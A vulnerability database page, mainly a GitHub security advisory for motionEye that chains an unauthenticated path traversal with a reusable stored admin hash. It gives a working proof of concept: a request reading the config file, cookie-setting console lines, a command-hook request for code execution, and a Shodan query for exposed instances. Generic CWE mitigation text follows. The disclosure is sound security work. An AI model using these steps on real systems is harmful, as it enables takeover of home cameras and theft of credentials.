"id": "GHSA-pcq5-5jmx-47cw",
"modified": "2026-04-01T18:34:14Z",
"published": "2025-03-28T15:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54362"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/getshop-ecommerce/vulnerability/wordpress-getshop-ecommerce-plugin-1-3-path-traversal-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PHV5-334H-MXCW
Vulnerability from github – Published: 2026-06-23 19:09 – Updated: 2026-06-23 19:09
VLAI
Summary
motionEye Partial Authentication Bypass: Unauthenticated Admin Credential Theft via Path Traversal
Details
Partial Authentication Bypass: Unauthenticated Admin Credential Theft via Path Traversal
Summary
Myself and others have reported several RCE vulnerabilities to this project. However, due to the nature of the app, these are largely not of all that much value, as there is built-in functionality to run commands upon certain actions — i.e. RCE is by design.
With that in mind, I endeavored to find some sort of auth bypass, and was slightly successful.
When the admin password is set but the normal (surveillance) user password is left empty (the default), an unauthenticated attacker can exploit a path traversal vulnerability to read the motionEye configuration file from disk. This file contains the admin password as a SHA-1 hash, and that hash is accepted directly as a signing key for admin API requests — no cracking required. The result is full admin access from zero credentials.
This is a realistic scenario: many installations set an admin password to protect the settings UI but leave the normal user password empty so household members can view camera feeds without logging in.
Details
The vulnerability chains two independent issues:
1. Unauthenticated normal-user access when @normal_password is empty
In motioneye/handlers/base.py, lines 149-151:
# no authentication required for normal user
if not username and not normal_password:
return 'normal'
When @normal_password is empty (the default — see config.py line 2251: data.setdefault('@normal_password', '')), any request without a _username parameter is silently granted normal user access. This is by design for convenience, but it means all normal-level endpoints are fully unauthenticated.
2. Path traversal in MoviePlaybackHandler (and related handlers)
The movie playback handler at motioneye/handlers/movie_playback.py serves recorded video files. It accepts a filename in the URL path:
GET /movie/<camera_id>/playback/<filename>
The filename is passed to mediafiles.get_media_path() (mediafiles.py lines 497-500):
def get_media_path(camera_config, path, media_type):
target_dir = camera_config.get('target_dir')
full_path = os.path.join(target_dir, path)
return full_path
When path is an absolute path (e.g. /etc/motioneye/motion.conf), Python's os.path.join() discards target_dir entirely and returns the absolute path as-is. This would normally be caught by Tornado's StaticFileHandler path validation, but MoviePlaybackHandler explicitly overrides both safety checks (movie_playback.py lines 111-115):
def get_absolute_path(self, root, path):
return path
def validate_absolute_path(self, root, absolute_path):
return absolute_path
This allows reading any file on the filesystem that the motionEye process can access.
The same path traversal exists in the movie download, picture download, and picture preview handlers:
GET /movie/<camera_id>/download/<filename>GET /picture/<camera_id>/download/<filename>GET /picture/<camera_id>/preview/<filename>
3. Admin hash stored in a readable config file and accepted directly as a signing key
motionEye stores the admin password as SHA1(plaintext) in its main configuration file (motion.conf), written as a comment line:
# @admin_password 7b7d55439abccf4ae83047c1af2707e6eb6664db
The authentication code in base.py (lines 137-147) accepts signatures computed with either the raw stored hash or SHA1(stored_hash) as the signing key:
if username == admin_username and (
signature == utils.compute_signature(
self.request.method, self.request.uri, self.request.body, admin_password
)
or signature == utils.compute_signature(
self.request.method, self.request.uri, self.request.body, admin_hash
)
):
return 'admin'
Here admin_password is the raw value from the config file (the SHA-1 hash), and admin_hash is SHA1(admin_password) — a hash of the hash. Since the stored value is already a SHA-1 hash, and it is accepted directly as a valid signing key, there is no need to crack it. The attacker can use the stolen hash immediately.
Furthermore, the client-side JavaScript (static/js/main.js line 3631) computes sha1(plaintext_password) and stores it in the meye_password_hash cookie as the signing key. This is the same value as @admin_password in the config file.
PoC
Step 1 — Read the config file (unauthenticated, requires empty normal password):
GET /movie/1/playback//etc/motioneye/motion.conf HTTP/1.1
Host: target:8765
Response contains:
# @admin_username admin
# @admin_password 7b7d55439abccf4ae83047c1af2707e6eb6664db
Step 2 — Use the hash to become admin. In the browser console:
document.cookie = "meye_username=admin; path=/";
document.cookie = "meye_password_hash=7b7d55439abccf4ae83047c1af2707e6eb6664db; path=/";
location.reload();
The page reloads with full admin access. All subsequent requests are signed with the stolen hash.
Step 3 (optional) — Achieve RCE via the admin config API. The admin can set command_notifications_exec or command_storage_exec to arbitrary shell commands, which are written into motion event hooks and executed by the motion daemon:
POST /config/1/set HTTP/1.1
Content-Type: application/json
{"command_notifications_enabled": true, "command_notifications_exec": "touch /tmp/pwned", ...}
Impact
- Privilege escalation from zero credentials to full admin on any installation where the admin password is set but the normal user password is left empty (the default configuration).
- Arbitrary file read of any file readable by the motionEye process (typically running as
motionuser, orrooton motionEyeOS). This includes/etc/passwd,/etc/shadow(if permissions allow), SSH keys, and application secrets. - Full remote code execution — once admin access is obtained, the attacker can inject arbitrary shell commands via motion event hooks (
command_notifications_exec,command_storage_exec, orweb_hook_storage_url). Commands execute as the motion daemon user. - Realistic attack surface — this is a common configuration for home surveillance setups where the admin password protects settings but camera feeds are left open for household members. Public instances are discoverable via Shodan (
http.favicon.hash:1898775751).
Suggested Fix
- The path traversal should be fixed by validating that the resolved path stays within the camera's
target_dir. Do not overrideget_absolute_pathandvalidate_absolute_pathto bypass Tornado's built-in protections. At minimum, reject absolute paths in the filename parameter. - Consider warning users in the UI when the normal user password is empty, as this makes all normal-level endpoints (including the vulnerable file handlers) fully unauthenticated.
- The admin password hash should not be stored in a file that is served by the same file handlers used for media content. Alternatively, the
@metadata lines should be moved to a separate configuration file that is not within any camera's media path.
Severity
10.0 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "motioneye"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.44.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-35"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T19:09:29Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "# Partial Authentication Bypass: Unauthenticated Admin Credential Theft via Path Traversal\n\n### Summary\n\nMyself and others have reported several RCE vulnerabilities to this project. However, due to the nature of the app, these are largely not of all that much value, as there is built-in functionality to run commands upon certain actions \u2014 i.e. RCE is by design.\n\nWith that in mind, I endeavored to find some sort of auth bypass, and was slightly successful.\n\nWhen the admin password is set but the normal (surveillance) user password is left empty (the default), an unauthenticated attacker can exploit a path traversal vulnerability to read the motionEye configuration file from disk. This file contains the admin password as a SHA-1 hash, and that hash is accepted directly as a signing key for admin API requests \u2014 no cracking required. The result is full admin access from zero credentials.\n\nThis is a realistic scenario: many installations set an admin password to protect the settings UI but leave the normal user password empty so household members can view camera feeds without logging in.\n\n### Details\n\nThe vulnerability chains two independent issues:\n\n**1. Unauthenticated normal-user access when `@normal_password` is empty**\n\nIn `motioneye/handlers/base.py`, lines 149-151:\n\n```python\n# no authentication required for normal user\nif not username and not normal_password:\n return \u0027normal\u0027\n```\n\nWhen `@normal_password` is empty (the default \u2014 see `config.py` line 2251: `data.setdefault(\u0027@normal_password\u0027, \u0027\u0027)`), any request without a `_username` parameter is silently granted `normal` user access. This is by design for convenience, but it means all normal-level endpoints are fully unauthenticated.\n\n**2. Path traversal in `MoviePlaybackHandler` (and related handlers)**\n\nThe movie playback handler at `motioneye/handlers/movie_playback.py` serves recorded video files. It accepts a filename in the URL path:\n\n```\nGET /movie/\u003ccamera_id\u003e/playback/\u003cfilename\u003e\n```\n\nThe filename is passed to `mediafiles.get_media_path()` (`mediafiles.py` lines 497-500):\n\n```python\ndef get_media_path(camera_config, path, media_type):\n target_dir = camera_config.get(\u0027target_dir\u0027)\n full_path = os.path.join(target_dir, path)\n return full_path\n```\n\nWhen `path` is an absolute path (e.g. `/etc/motioneye/motion.conf`), Python\u0027s `os.path.join()` discards `target_dir` entirely and returns the absolute path as-is. This would normally be caught by Tornado\u0027s `StaticFileHandler` path validation, but `MoviePlaybackHandler` explicitly overrides both safety checks (`movie_playback.py` lines 111-115):\n\n```python\ndef get_absolute_path(self, root, path):\n return path\n\ndef validate_absolute_path(self, root, absolute_path):\n return absolute_path\n```\n\nThis allows reading any file on the filesystem that the motionEye process can access.\n\nThe same path traversal exists in the movie download, picture download, and picture preview handlers:\n\n- `GET /movie/\u003ccamera_id\u003e/download/\u003cfilename\u003e`\n- `GET /picture/\u003ccamera_id\u003e/download/\u003cfilename\u003e`\n- `GET /picture/\u003ccamera_id\u003e/preview/\u003cfilename\u003e`\n\n**3. Admin hash stored in a readable config file and accepted directly as a signing key**\n\nmotionEye stores the admin password as `SHA1(plaintext)` in its main configuration file (`motion.conf`), written as a comment line:\n\n```\n# @admin_password 7b7d55439abccf4ae83047c1af2707e6eb6664db\n```\n\nThe authentication code in `base.py` (lines 137-147) accepts signatures computed with **either** the raw stored hash or `SHA1(stored_hash)` as the signing key:\n\n```python\nif username == admin_username and (\n signature == utils.compute_signature(\n self.request.method, self.request.uri, self.request.body, admin_password\n )\n or signature == utils.compute_signature(\n self.request.method, self.request.uri, self.request.body, admin_hash\n )\n):\n return \u0027admin\u0027\n```\n\nHere `admin_password` is the raw value from the config file (the SHA-1 hash), and `admin_hash` is `SHA1(admin_password)` \u2014 a hash of the hash. Since the stored value is already a SHA-1 hash, and it is accepted directly as a valid signing key, there is no need to crack it. The attacker can use the stolen hash immediately.\n\nFurthermore, the client-side JavaScript (`static/js/main.js` line 3631) computes `sha1(plaintext_password)` and stores it in the `meye_password_hash` cookie as the signing key. This is the same value as `@admin_password` in the config file.\n\n### PoC\n\n**Step 1** \u2014 Read the config file (unauthenticated, requires empty normal password):\n\n```\nGET /movie/1/playback//etc/motioneye/motion.conf HTTP/1.1\nHost: target:8765\n```\n\nResponse contains:\n\n```\n# @admin_username admin\n# @admin_password 7b7d55439abccf4ae83047c1af2707e6eb6664db\n```\n\n**Step 2** \u2014 Use the hash to become admin. In the browser console:\n\n```javascript\ndocument.cookie = \"meye_username=admin; path=/\";\ndocument.cookie = \"meye_password_hash=7b7d55439abccf4ae83047c1af2707e6eb6664db; path=/\";\nlocation.reload();\n```\n\nThe page reloads with full admin access. All subsequent requests are signed with the stolen hash.\n\n**Step 3 (optional)** \u2014 Achieve RCE via the admin config API. The admin can set `command_notifications_exec` or `command_storage_exec` to arbitrary shell commands, which are written into motion event hooks and executed by the motion daemon:\n\n```\nPOST /config/1/set HTTP/1.1\nContent-Type: application/json\n\n{\"command_notifications_enabled\": true, \"command_notifications_exec\": \"touch /tmp/pwned\", ...}\n```\n\n### Impact\n\n- **Privilege escalation from zero credentials to full admin** on any installation where the admin password is set but the normal user password is left empty (the default configuration).\n- **Arbitrary file read** of any file readable by the motionEye process (typically running as `motion` user, or `root` on motionEyeOS). This includes `/etc/passwd`, `/etc/shadow` (if permissions allow), SSH keys, and application secrets.\n- **Full remote code execution** \u2014 once admin access is obtained, the attacker can inject arbitrary shell commands via motion event hooks (`command_notifications_exec`, `command_storage_exec`, or `web_hook_storage_url`). Commands execute as the motion daemon user.\n- **Realistic attack surface** \u2014 this is a common configuration for home surveillance setups where the admin password protects settings but camera feeds are left open for household members. Public instances are discoverable via Shodan (`http.favicon.hash:1898775751`).\n\n### Suggested Fix\n\n1. The path traversal should be fixed by validating that the resolved path stays within the camera\u0027s `target_dir`. Do not override `get_absolute_path` and `validate_absolute_path` to bypass Tornado\u0027s built-in protections. At minimum, reject absolute paths in the filename parameter.\n2. Consider warning users in the UI when the normal user password is empty, as this makes all normal-level endpoints (including the vulnerable file handlers) fully unauthenticated.\n3. The admin password hash should not be stored in a file that is served by the same file handlers used for media content. Alternatively, the `@` metadata lines should be moved to a separate configuration file that is not within any camera\u0027s media path.",
"id": "GHSA-phv5-334h-mxcw",
"modified": "2026-06-23T19:09:29Z",
"published": "2026-06-23T19:09:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-phv5-334h-mxcw"
},
{
"type": "PACKAGE",
"url": "https://github.com/motioneye-project/motioneye"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "motionEye Partial Authentication Bypass: Unauthenticated Admin Credential Theft via Path Traversal"
}
Mitigation MIT-5.1
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, the ".../...//" manipulation is useful for bypassing some path traversal protection schemes. If "../" sequences are removed from the ".../...//" string in a sequential fashion (as some regular expression engines and other algorithms operate) the string can collapse into the unsafe "../" value (CWE-182). Removing the first "../" yields "....//" and the second removal yields "../".
Mitigation MIT-20
Implementation
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
No CAPEC attack patterns related to this CWE.